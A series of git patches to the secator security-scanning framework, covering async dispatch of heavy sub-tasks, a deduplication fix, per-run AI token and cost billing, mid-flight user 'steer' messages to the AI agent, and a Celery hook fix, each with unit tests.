(mirrors Command.s/si) + except Exception: + return True # can't resolve — be conservative and dispatch + return profile in _HEAVY_PROFILES + + def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: """Execute a secator task or workflow. @@ -410,6 +435,17 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator run_opts["print_start"] = not ctx.silent and not ctx.subagent run_opts["print_end"] = not ctx.silent and not ctx.subagent + # A heavy sub-task must NOT run sync in-process inside the ai task's own worker: + # the ai pool is small (e.g. the warm small-fast pool, ~1Gi) and a tool like + # nuclei (profile 'extra_large') OOM-kills it. When running inside a worker, + # dispatch heavy sub-runners async to their own profile's queue — the ai still + # waits by iterating the results. Local (non-worker) runs keep sync in-process. + if run_opts.get("sync") and _is_heavy_runner(runner_type, name, opts): + from secator.celery import IN_WORKER + if IN_WORKER: + run_opts["sync"] = False + run_opts["tty"] = False + context["task_chunk_id"] = str(uuid.uuid4()) if ctx.subagent: context["subagent"] = ctx.context.get("subagent", True) From 6f810d03dabd8d0f1df985abc6d9669dcad29867 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 19:53:02 +0200 Subject: [PATCH 041/129] address review: keep declared-field contract in deduplicate + keys() docstring MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CodeRabbit (valid): hasattr broadened the check from declared fields to any attribute and could invoke property getters. Revert to 'attr in sub.keys()' — the keys() cache (not hasattr) is what removed the per-item fields() recompute, so the field-only check is cheap again: still -13% at 8k findings (20.4s->17.7s); hasattr was only ~5% faster and not worth the broader contract. Read the value once per item. Added a docstring to keys(). --- secator/output_types/_base.py | 9 ++++++--- secator/utils.py | 14 +++++++++----- 2 files changed, 15 insertions(+), 8 deletions(-) diff --git a/secator/output_types/_base.py b/secator/output_types/_base.py index ba658a274..0a7c08620 100644 --- a/secator/output_types/_base.py +++ b/secator/output_types/_base.py @@ -133,9 +133,12 @@ def get_name(cls): @classmethod @lru_cache(maxsize=None) def keys(cls): - # Field names are constant per class; cache to avoid recomputing fields() - # on every call (hot path in deduplicate / serialization). Returns a tuple - # so the cached object can't be mutated by callers. + """Return the field names of this OutputType as a cached tuple. + + Field names are constant per class, so cache to avoid recomputing fields() + on every call (a hot path in deduplicate / serialization). A tuple is + returned so the cached object can't be mutated by callers. + """ return tuple(f.name for f in fields(cls)) def toDict(self, exclude=[]): diff --git a/secator/utils.py b/secator/utils.py index 73d35274f..ca958286c 100644 --- a/secator/utils.py +++ b/secator/utils.py @@ -229,11 +229,15 @@ def deduplicate(array, attr=None): memo = set() res = [] for sub in array: - # hasattr is O(1) vs the previous `attr in sub.keys()` which recomputed - # the field-name list for every item (a quadratic hot path under fan-out). - if hasattr(sub, attr) and getattr(sub, attr) not in memo: - res.append(sub) - memo.add(getattr(sub, attr)) + # keys() is now cached (a constant tuple per class), so the field-only + # membership check is cheap again — no per-item fields() recompute. Keep + # the declared-field contract (vs hasattr, which would also match + # inherited attrs / invoke property getters) and read the value once. + if attr in sub.keys(): + value = getattr(sub, attr) + if value not in memo: + res.append(sub) + memo.add(value) return sorted(res, key=operator.attrgetter(attr)) return sorted(list(dict.fromkeys(array))) From 258fe14621f434e7ebea9c2f2800bc55262129d7 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:00:10 +0200 Subject: [PATCH 042/129] feat(ai): record total billed tokens per ai run Aggregate the real billed token usage (from call_llm's response.usage + litellm completion_cost) across every LLM call an ai task makes into a per-run total persisted on the runner context as context.ai_tokens (int, cumulative) and context.ai_cost (float). This is the AI analog of context.scan_hours: the cloud billing chore reads context.ai_tokens off the task doc to bill/quota AI usage. - _account_usage() sums call_llm usage onto self.context; missing/None usage counts as 0 so accounting never crashes the run. - Main loop call, intent-detection call, and history summarization call are all counted exactly once. ChatHistory.compact() accrues its own summarization usage which the task drains into context per iteration. - Subagent/batch ai tasks are separate runners with their own task doc and their own context.ai_tokens, so the chore sums across docs without double-counting. - Works identically in chat and attack modes. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/history.py | 17 +++ secator/tasks/ai.py | 53 +++++++++ tests/unit/test_ai_tokens.py | 225 +++++++++++++++++++++++++++++++++++ 3 files changed, 295 insertions(+) create mode 100644 tests/unit/test_ai_tokens.py diff --git a/secator/ai/history.py b/secator/ai/history.py index 1d3efe484..cfd74b743 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -124,6 +124,11 @@ class ChatHistory: messages: List[Dict[str, str]] = field(default_factory=list) model: Optional[str] = None + # Billed token/cost usage accrued by LLM calls this object makes internally + # (history summarization/compaction). The owning `ai` task drains these into + # context.ai_tokens so summarization is billed alongside the main loop. + billed_tokens: int = 0 + billed_cost: float = 0.0 def add_system(self, content: str) -> None: self.messages.append({"role": "system", "content": content}) @@ -390,6 +395,18 @@ def compact(self, model: str, api_base: Optional[str] = None, with console.status(f"[bold orange3]Compacting chat history...[/] [gray42] • {token_str}[/]", spinner="dots"): result = call_llm([{"role": "user", "content": prompt}], model, 0.3, api_base, api_key) + # Record billed usage of the summarization call so the owning task can + # roll it into context.ai_tokens. Missing usage counts as 0. + usage = result.get("usage") or {} + try: + self.billed_tokens += int(usage.get("tokens") or 0) + except (TypeError, ValueError): + pass + try: + self.billed_cost += float(usage.get("cost") or 0) + except (TypeError, ValueError): + pass + self.messages = [] if initial_system: self.messages.append(initial_system) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 0f7ca0e2d..d7405de30 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -255,6 +255,9 @@ def _run_loop(self) -> Generator: # Prompt user when context is filling up (local only) yield from self._summarize_user() + # Roll any billed summarization usage into context.ai_tokens + self._drain_history_usage() + # Subagent token usage (for batch progress tracking) if self.is_subagent: by_role = self.history.count_tokens_by_role(self.model) @@ -278,6 +281,11 @@ def _run_loop(self) -> Generator: tool_calls = result.get("tool_calls", []) usage = result.get("usage", {}) + # Accumulate billed tokens for this run (read by the billing chore + # as context.ai_tokens). Done here, before any empty-response + # `continue`, so every billed call is counted exactly once. + self._account_usage(usage) + self.debug(f'content: {content[:200] if content else "(empty)"}', sub='llm') # Empty response @@ -455,6 +463,13 @@ def _init_options(self): workspace=self.reports_folder or "" ) + # Per-run billed-token accounting. The platform billing chore reads + # `context.ai_tokens` (cumulative billed tokens) — the AI analog of + # `context.scan_hours`. Initialize on the runner context so it is + # persisted onto the task doc even if the run makes zero LLM calls. + self.context.setdefault("ai_tokens", 0) + self.context.setdefault("ai_cost", 0.0) + # Create interactivity backend self.session_id = self.session_name or str(self.id) self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) @@ -514,6 +529,7 @@ def _detect_mode(self, force=False): messages = [{"role": "user", "content": f"{selection_prompt}\n{self.prompt}"}] with maybe_status("[bold orange3]Detecting intent...[/]", spinner="dots"): result = call_llm(messages, self.intent_model, temperature=0.3, api_base=self.api_base, api_key=self.api_key) + self._account_usage(result.get("usage")) mode = result["content"].strip().lower() if mode in ("attack", "chat"): console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{mode}[/]") @@ -760,6 +776,43 @@ def _dispatch_and_collect(self, actions, ctx): # History helpers # ------------------------------------------------------------------------- + def _account_usage(self, usage): + """Accumulate billed token/cost usage from a single LLM call onto the runner context. + + `usage` is the dict returned by `call_llm` (`{"tokens", "cost"}`) or None. + Missing/None usage counts as 0 so accounting never crashes the run. The + running total lives on `self.context["ai_tokens"]` (int, cumulative) which + is persisted onto the task doc and read by the platform billing chore. + """ + if not usage: + return + try: + tokens = usage.get("tokens") or 0 + self.context["ai_tokens"] = int(self.context.get("ai_tokens", 0) or 0) + int(tokens) + except (TypeError, ValueError): + pass + try: + cost = usage.get("cost") or 0 + self.context["ai_cost"] = float(self.context.get("ai_cost", 0.0) or 0.0) + float(cost) + except (TypeError, ValueError): + pass + + def _drain_history_usage(self): + """Roll billed usage accrued by history summarization into context.ai_tokens. + + `ChatHistory.compact` makes its own LLM calls and stashes their billed + usage on the history object; drain it here so it is counted exactly once. + """ + history = getattr(self, "history", None) + if history is None: + return + tokens = getattr(history, "billed_tokens", 0) or 0 + cost = getattr(history, "billed_cost", 0.0) or 0.0 + if tokens: + self._account_usage({"tokens": tokens, "cost": cost}) + history.billed_tokens = 0 + history.billed_cost = 0.0 + def _add_assistant_to_history(self, content, tool_calls): """Add assistant message (with optional tool calls) to chat history.""" if tool_calls: diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py new file mode 100644 index 000000000..e9bdc6e65 --- /dev/null +++ b/tests/unit/test_ai_tokens.py @@ -0,0 +1,225 @@ +"""Tests for per-run billed AI token accounting. + +The `ai` task accumulates billed tokens from every LLM call it makes into +`context.ai_tokens` (and cost into `context.ai_cost`). The platform billing +chore reads `context.ai_tokens` — the AI analog of `context.scan_hours`. + +These tests verify: +- N calls with known token counts sum onto `context.ai_tokens`. +- Missing/None usage counts as 0 and never crashes the run. +- History summarization usage is rolled in exactly once. +""" +import contextlib +import unittest +from unittest.mock import patch + +from secator.definitions import ADDONS_ENABLED + +HAS_AI = ADDONS_ENABLED.get('ai', False) + +if HAS_AI: + from secator.tasks.ai import ai + from secator.ai.history import ChatHistory + + +def _make_task(): + """Construct a bare `ai` task instance with a context dict, bypassing __init__. + + We avoid the full runner construction (which needs a workspace, backend, etc.) + since the accounting helpers only touch `self.context` and `self.history`. + """ + task = ai.__new__(ai) + task.context = {} + task.history = ChatHistory() + # Mirror what _init_options seeds. + task.context.setdefault("ai_tokens", 0) + task.context.setdefault("ai_cost", 0.0) + return task + + +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestAiTokenAccounting(unittest.TestCase): + + def test_sum_over_n_calls(self): + """N call_llm usages sum onto context.ai_tokens (and ai_cost).""" + task = _make_task() + usages = [ + {"tokens": 100, "cost": 0.001}, + {"tokens": 250, "cost": 0.002}, + {"tokens": 50, "cost": 0.0005}, + ] + for u in usages: + task._account_usage(u) + self.assertEqual(task.context["ai_tokens"], 400) + self.assertAlmostEqual(task.context["ai_cost"], 0.0035) + + def test_missing_usage_counts_as_zero(self): + """None / empty / missing-key usage never crashes and adds 0.""" + task = _make_task() + task._account_usage(None) + task._account_usage({}) + task._account_usage({"tokens": None, "cost": None}) + task._account_usage({"cost": 0.5}) # no tokens key + self.assertEqual(task.context["ai_tokens"], 0) + + def test_malformed_usage_does_not_crash(self): + """Non-numeric token/cost values are ignored, not raised.""" + task = _make_task() + task._account_usage({"tokens": "abc", "cost": "xyz"}) + task._account_usage({"tokens": 42, "cost": 0.01}) + self.assertEqual(task.context["ai_tokens"], 42) + + def test_field_persisted_on_context(self): + """The platform reads context.ai_tokens — confirm that exact key.""" + task = _make_task() + task._account_usage({"tokens": 123, "cost": 0.0}) + self.assertIn("ai_tokens", task.context) + self.assertEqual(task.context["ai_tokens"], 123) + self.assertIsInstance(task.context["ai_tokens"], int) + + def test_history_summarization_usage_drained_once(self): + """Billed tokens accrued by history compaction roll in exactly once.""" + task = _make_task() + # Simulate ChatHistory.compact stashing summarization usage. + task.history.billed_tokens = 500 + task.history.billed_cost = 0.004 + task._drain_history_usage() + self.assertEqual(task.context["ai_tokens"], 500) + self.assertAlmostEqual(task.context["ai_cost"], 0.004) + # Draining again must not double-count. + task._drain_history_usage() + self.assertEqual(task.context["ai_tokens"], 500) + + def test_history_compact_records_billed_usage(self): + """ChatHistory.compact accrues the summarization call's billed tokens.""" + history = ChatHistory(model="test-model") + history.add_system("system") + history.add_user("u1") + history.add_assistant("a1") + history.add_user("u2") + history.add_assistant("a2") + history.add_user("u3") + history.add_assistant("a3") + + fake = {"content": "summary", "usage": {"tokens": 321, "cost": 0.003}} + with patch('secator.ai.utils.call_llm', return_value=fake): + with patch('secator.ai.history.get_context_window', return_value=8000): + history.compact("test-model", keep_last=2) + + self.assertEqual(history.billed_tokens, 321) + self.assertAlmostEqual(history.billed_cost, 0.003) + + def test_history_compact_missing_usage_is_zero(self): + """compact() with no usage on the response adds 0 billed tokens.""" + history = ChatHistory(model="test-model") + history.add_system("system") + history.add_user("u1") + history.add_assistant("a1") + history.add_user("u2") + history.add_assistant("a2") + history.add_user("u3") + history.add_assistant("a3") + + fake = {"content": "summary", "usage": None} + with patch('secator.ai.utils.call_llm', return_value=fake): + with patch('secator.ai.history.get_context_window', return_value=8000): + history.compact("test-model", keep_last=2) + + self.assertEqual(history.billed_tokens, 0) + + +@contextlib.contextmanager +def _loop_patches(task, responses): + """Patch the heavy collaborators _run_loop touches so we can drive it bare. + + Leaves call_llm token accounting intact (that is what we are testing). + """ + with contextlib.ExitStack() as stack: + stack.enter_context(patch('secator.tasks.ai.call_llm', side_effect=responses)) + stack.enter_context(patch('secator.ai.history.get_context_window', return_value=8000)) + stack.enter_context(patch('secator.tasks.ai.get_context_window', return_value=8000)) + stack.enter_context(patch('secator.tasks.ai.save_history')) + stack.enter_context(patch.object(type(task), 'reports_folder', property(lambda self: None))) + stack.enter_context(patch.object(ai, '_summarize_auto', return_value=iter(()))) + stack.enter_context(patch.object(ai, '_summarize_user', return_value=iter(()))) + yield stack + + +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestAiTokenAccountingEndToEnd(unittest.TestCase): + """Drive the real _run_loop with mocked call_llm and assert the sum lands.""" + + def _make_loop_task(self): + task = _make_task() + # Minimal state _run_loop reads. + task.inputs = [] + task.model = "test-model" + task.intent_model = "test-model" + task.temp = 0.7 + task.api_base = None + task.api_key = "key" + task.max_iterations = 3 + task.max_tokens_total = 100000 + task.max_workers = 1 + task.is_subagent = True + task.verbose = False + task.dry_run = False + task.mode = "chat" + task.scope = "workspace" + task.results = [] + task.encryptor = None + task.tool_schemas = [] + task.permission_engine = None + task.dangerous = True + task.interactive = "auto" + task._sync = True + task.session_id = "s" + task._reports_folder = None + task.debug = lambda *a, **k: None + task.add_result = lambda *a, **k: None + from secator.ai.interactivity import create_backend + task.backend = create_backend("auto") + return task + + def test_loop_sums_token_usage(self): + """Three content responses with known tokens sum onto context.ai_tokens.""" + task = self._make_loop_task() + responses = [ + {"content": "r1", "tool_calls": [], "usage": {"tokens": 100, "cost": 0.001}}, + {"content": "r2", "tool_calls": [], "usage": {"tokens": 200, "cost": 0.002}}, + {"content": "r3", "tool_calls": [], "usage": {"tokens": 300, "cost": 0.003}}, + ] + # auto backend returns None on follow-up prompt -> loop exits after first + # content-only response. Force it to keep going by mocking the prompt to + # add a user turn for the first two, then exit. + prompt_calls = {"n": 0} + + def fake_prompt(choices): + prompt_calls["n"] += 1 + if prompt_calls["n"] >= 3: + return None # exit + task.history.add_user("continue") + return [] + + with _loop_patches(task, responses): + with patch.object(ai, '_prompt_and_redetect', side_effect=fake_prompt): + list(task._run_loop()) + + self.assertEqual(task.context["ai_tokens"], 600) + self.assertAlmostEqual(task.context["ai_cost"], 0.006) + + def test_loop_with_no_usage_is_zero(self): + """Responses without usage leave context.ai_tokens at 0 (no crash).""" + task = self._make_loop_task() + responses = [ + {"content": "r1", "tool_calls": [], "usage": None}, + ] + with _loop_patches(task, responses): + with patch.object(ai, '_prompt_and_redetect', return_value=None): + list(task._run_loop()) + + self.assertEqual(task.context["ai_tokens"], 0) + + +if __name__ == '__main__': + unittest.main() From aa29fb5b24e5d2ea44ade71a480486c52eeab101 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:03:58 +0200 Subject: [PATCH 043/129] feat(ai): mid-flight steering (interrupt + redirect) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add cooperative mid-flight steering to the Workspace AI Assistant: a user can send a message WHILE the agent is running, and the worker picks it up at the next loop checkpoint to redirect the next turn. Distinct from the hard Stop button (which revokes the Celery task). - RemoteBackend.poll_steers(session_id): drains pending `ai_type:"steer"` channel docs, returns their content oldest-first, marks them consumed so each injects exactly once. Robust — backend errors return [] (never crash). - _poll_for_answer: a steer breaks a blocked follow-up wait (returns the steer content as the answer) so the loop redirects instead of stalling; follow-up semantics intact for the no-steer case. - _run_loop: _drain_steers() at the top of each iteration appends each steer to history as `[User interjected]: …` and echoes a steer Ai item (with session_id so it persists in the transcript). - output_types/ai.py: render `steer` ai_type in the CLI transcript. - Tests: poll_steers drain/consume/robustness, steer-breaks-wait, _drain_steers inject-into-history, no-steer no-op, non-remote no-op. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/interactivity.py | 58 +++++++++++++++++++ secator/output_types/ai.py | 1 + secator/tasks/ai.py | 38 +++++++++++++ tests/unit/test_ai_interactivity.py | 86 +++++++++++++++++++++++++++-- tests/unit/test_ai_loop.py | 85 ++++++++++++++++++++++++++++ 5 files changed, 264 insertions(+), 4 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 0610251b2..78e314145 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -135,6 +135,53 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con # follow_up: return the answer text return {"answer": answer} + def poll_steers(self, session_id): + """Drain pending steer docs for ``session_id`` and mark them consumed. + + A "steer" is a mid-flight user message: it's written into the channel + (``_type:"ai"``, ``ai_type:"steer"``, ``status:"pending"``) WHILE the agent + is running, and the worker picks it up at the next loop checkpoint to + redirect the next turn. This is distinct from a follow-up ``answer`` (which + the worker is *blocked* waiting on) and from a hard Stop (which revokes the + Celery task). + + Returns a list of steer content strings (oldest-first). Each returned doc is + flipped to ``status:"consumed"`` so it's injected exactly once. Robust by + design: any backend error returns ``[]`` so a steer can never crash the run. + """ + if self.query_engine is None: + return [] + base = { + "_type": "ai", + "ai_type": "steer", + # Correlate by the runner context's session_id, auto-stamped on every + # persisted item (item._context = self.context) — see _poll_for_answer. + "_context.session_id": session_id, + "status": "pending", + } + try: + results = self.query_engine.search(base, limit=50) + except Exception: # noqa: BLE001 - a steer must never crash the run + return [] + if not results: + return [] + # Oldest-first so multiple queued steers are injected in send order. + results = sorted(results, key=lambda r: r.get("_timestamp", 0)) + contents = [] + for doc in results: + content = doc.get("content") or doc.get("answer") or "" + if content: + contents.append(content) + # Mark this session's pending steers consumed so they inject exactly once. + try: + self.query_engine.update( + {**base}, + {"$set": {"status": "consumed"}}, + ) + except Exception: # noqa: BLE001 - consume failure must not crash the run + pass + return contents + def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): """Poll DB for the answer to the SPECIFIC pending prompt until timeout. @@ -148,6 +195,12 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): same stale doc — an infinite respawn loop that re-runs scans and burns tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS prompt's own answer (and time out only THIS prompt's doc). + + A steer (mid-flight user message) breaks the wait: if a pending steer + arrives for this session while we're blocked on a follow-up, we return its + content as the "answer" so the loop redirects immediately instead of + stalling until the follow-up is explicitly answered (or times out). This + keeps follow-up semantics intact for the no-steer case. """ base = { "_type": "ai", @@ -165,6 +218,11 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): results = self.query_engine.search({**base, "status": "answered"}, limit=1) if results: return results[0].get("answer") + # A steer breaks the wait: treat the steer as the user's answer so the + # blocked follow-up resolves and the next turn redirects. + steers = self.poll_steers(session_id) + if steers: + return "\n".join(steers) sleep(self.poll_interval) elapsed += self.poll_interval # Timeout: flip ONLY this prompt's still-pending doc to timed_out, so a diff --git a/secator/output_types/ai.py b/secator/output_types/ai.py index 192b2933a..ef5bf960f 100644 --- a/secator/output_types/ai.py +++ b/secator/output_types/ai.py @@ -67,6 +67,7 @@ def render_markdown_for_rich(text: str, title: str = '') -> str: 'query': {'label': '🟢', 'color': 'magenta'}, 'stopped': {'label': '🛑', 'color': 'orange3'}, 'follow_up': {'label': '[FOLLOW UP]', 'color': 'orange3'}, + 'steer': {'label': '[STEER]', 'color': 'cyan'}, } ACTION_TYPES = ('task', 'workflow', 'shell', 'add_finding', 'query', 'stopped') diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index cc1e9f74b..46b410297 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -342,6 +342,11 @@ def _run_loop(self) -> Generator: iteration += 1 try: + # Mid-flight steering: drain any user messages sent WHILE the agent + # was running and inject them into history so the next turn redirects. + # Cheap query per iteration; robust (never crashes the loop). + yield from self._drain_steers() + # Auto-summarize when context > 85% threshold yield from self._summarize_auto() @@ -658,6 +663,39 @@ def _auto_approve_workspace_targets(self): except Exception as e: self.debug(f'[workspace] failed to query targets: {e}', sub='guardrail') + # ------------------------------------------------------------------------- + # Mid-flight steering + # ------------------------------------------------------------------------- + + def _drain_steers(self): + """Drain pending mid-flight steers and inject them into the LLM history. + + A "steer" is a user message sent WHILE the agent is running (over the + remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc). At the + top of each loop iteration we drain any pending steers for this session, + append each to the history as a ``[User interjected]: …`` user message so + the model sees them on the next turn, and echo a steer Ai item (with + ``_context`` so it persists in the transcript). Cooperative — not a hard + cancel (Stop already does that). + + Only the RemoteBackend has a channel to poll; for every other backend this + is a no-op. Robust: a steer must never crash the run, so all backend access + is best-effort and swallowed. + """ + if not isinstance(self.backend, RemoteBackend): + return + try: + steers = self.backend.poll_steers(self.session_id) + except Exception as e: # noqa: BLE001 - a steer must never crash the run + self.debug(f'steer: failed to poll steers: {e}', sub='llm') + return + for content in steers: + self.debug(f'steer: injecting user interjection: {content[:120]}', sub='llm') + self.history.add_user(maybe_encrypt(f"[User interjected]: {content}", self.encryptor)) + # Echo into the transcript (persisted via _context.session_id) so the + # UI shows the steer as an interjected user bubble. + yield Ai(content=content, ai_type="steer", session_id=self.session_id) + # ------------------------------------------------------------------------- # Summarization / compaction # ------------------------------------------------------------------------- diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 8a1117ce5..bec54f3be 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -144,10 +144,18 @@ def test_timeout_update_scoped_to_prompt_uuid(self, mock_sleep): def test_ask_user_returns_on_second_poll(self, mock_sleep): from secator.ai.interactivity import RemoteBackend mock_engine = MagicMock() - mock_engine.search.side_effect = [ - [], # first poll: not answered - [{"answer": "option B"}], # second poll: answered - ] + # Query-aware: the follow-up answer poll (ai_type=="follow_up") returns the + # answer on the second call; the interleaved steer poll (ai_type=="steer") + # always returns nothing — so the steer-break never fires here. + answer_calls = {"n": 0} + + def search(query, limit=1): + if query.get("ai_type") == "steer": + return [] + answer_calls["n"] += 1 + return [] if answer_calls["n"] == 1 else [{"answer": "option B"}] + + mock_engine.search.side_effect = search backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=5) result = backend.ask_user("What next?", [], "session1") @@ -157,6 +165,76 @@ def test_ask_user_returns_on_second_poll(self, mock_sleep): self.assertEqual(mock_sleep.call_count, 1) +class TestRemoteBackendSteer(unittest.TestCase): + """Verify mid-flight steer draining + the blocked-wait break.""" + + def test_poll_steers_returns_and_consumes(self): + """poll_steers returns pending steer content and marks them consumed.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [ + {"content": "actually focus on the API", "_timestamp": 2}, + {"content": "and skip port 80", "_timestamp": 1}, + ] + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + steers = backend.poll_steers("session1") + + # Oldest-first by _timestamp + self.assertEqual(steers, ["and skip port 80", "actually focus on the API"]) + # Query scoped to pending steer docs for this session + search_query = mock_engine.search.call_args[0][0] + self.assertEqual(search_query.get("ai_type"), "steer") + self.assertEqual(search_query.get("status"), "pending") + self.assertEqual(search_query.get("_context.session_id"), "session1") + # Pending steers flipped to consumed (inject exactly once) + mock_engine.update.assert_called_once() + update_set = mock_engine.update.call_args[0][1] + self.assertEqual(update_set["$set"]["status"], "consumed") + + def test_poll_steers_no_pending_returns_empty(self): + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + self.assertEqual(backend.poll_steers("session1"), []) + # Nothing to consume when nothing is pending + mock_engine.update.assert_not_called() + + def test_poll_steers_robust_on_backend_error(self): + """A steer must never crash the run: backend errors return [].""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.side_effect = RuntimeError("mongo down") + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + self.assertEqual(backend.poll_steers("session1"), []) + + def test_poll_steers_no_query_engine(self): + from secator.ai.interactivity import RemoteBackend + backend = RemoteBackend(timeout=60, query_engine=None, poll_interval=0.01) + self.assertEqual(backend.poll_steers("session1"), []) + + def test_steer_breaks_blocked_follow_up_wait(self): + """A steer arriving during a follow-up wait returns as the answer.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + # No follow-up answer ever; a steer arrives on the first poll. + mock_engine.search.side_effect = [ + [], # answered? no + [{"content": "change course now", "_timestamp": 1}], # poll_steers -> steer + ] + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="uuid-1") + + # The steer content resolves the blocked wait (returned as the answer). + self.assertEqual(result["answer"], "change course now") + + class TestCreateBackend(unittest.TestCase): """Verify create_backend factory.""" diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index b628bc1f6..783d8e422 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -1128,5 +1128,90 @@ def _boom(*a, **k): self.assertIn("'str' object is not a mapping", content) +# ============================================================================= +# Mid-flight steering: _drain_steers injects pending steers into history +# ============================================================================= + +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestDrainSteers(unittest.TestCase): + """The loop's `_drain_steers` drains pending steers and injects them. + + A pending `ai_type:"steer"` doc (user message sent WHILE the agent runs) must + be drained at the loop checkpoint, appended to the LLM history as a + `[User interjected]: …` user message, echoed as a steer Ai item, and marked + consumed — without breaking the loop or the existing follow-up flow. + """ + + def _make_task(self, backend, history=None): + """Build a minimal `ai` task with only what _drain_steers reads.""" + from secator.tasks.ai import ai + task = object.__new__(ai) + task.backend = backend + task.session_id = "steer-sess" + task.encryptor = None + task.history = history or ChatHistory() + task.debug = lambda *a, **k: None + return task + + def test_steer_drained_injected_and_consumed(self): + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [ + {"content": "actually focus on the API", "_timestamp": 1}, + ] + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + task = self._make_task(backend) + + yielded = list(task._drain_steers()) + + # Injected into history as a user "interjected" message. + user_msgs = [m for m in task.history.to_messages() if m["role"] == "user"] + self.assertEqual(len(user_msgs), 1) + self.assertEqual(user_msgs[-1]["content"], "[User interjected]: actually focus on the API") + + # Echoed as a steer Ai item carrying the session_id (so it persists). + steer_items = [r for r in yielded if isinstance(r, Ai) and r.ai_type == "steer"] + self.assertEqual(len(steer_items), 1) + self.assertEqual(steer_items[0].content, "actually focus on the API") + self.assertEqual(steer_items[0].session_id, "steer-sess") + + # Marked consumed so it injects exactly once. + update_set = mock_engine.update.call_args[0][1] + self.assertEqual(update_set["$set"]["status"], "consumed") + + def test_no_steer_is_noop_and_preserves_loop(self): + """No pending steer -> nothing injected, history untouched (loop intact).""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + history = ChatHistory() + history.add_user("original prompt") + task = self._make_task(backend, history=history) + + yielded = list(task._drain_steers()) + + self.assertEqual(yielded, []) + user_msgs = [m for m in task.history.to_messages() if m["role"] == "user"] + self.assertEqual([m["content"] for m in user_msgs], ["original prompt"]) + + def test_non_remote_backend_is_noop(self): + """Local/auto backends have no channel -> drain is a no-op (no crash).""" + task = self._make_task(create_backend("auto")) + self.assertEqual(list(task._drain_steers()), []) + + def test_steer_poll_error_never_crashes_loop(self): + """A backend error during drain is swallowed (run must not crash).""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.side_effect = RuntimeError("mongo down") + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + task = self._make_task(backend) + # Should not raise, yields nothing, history untouched. + self.assertEqual(list(task._drain_steers()), []) + self.assertEqual(task.history.to_messages(), []) + + if __name__ == "__main__": unittest.main() From a012285d98c661a8b9886e40c22d0496e9a4b833 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:07:19 +0200 Subject: [PATCH 044/129] fix(celery): skip item hooks when re-adding forwarded results in mark_started/completed MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit mark_runner_started/completed re-add the forwarded result set via add_result() with the default hooks=True, re-firing on_item per item. With a per-item driver hook (e.g. a default_driver enrich_vuln doing one DB query per vulnerability) that's O(n) queries every time mark_started runs — the cause of 'finished mark_started in 3959s' (it reproduced locally without Mongo's dedup path, so it's the item hooks, not dedup). Items were already on_item-processed by their producing runner, so pass hooks=False (matching the __init__ add_result at runners/_base.py:197). Dedup is unaffected: it's a separate _compare_key grouping pass (mark_duplicates, gated on enable_duplicate_check) at completion, and add_result still appends to self.results when hooks=False. The new scope-tagged Target emit keeps its hooks. --- 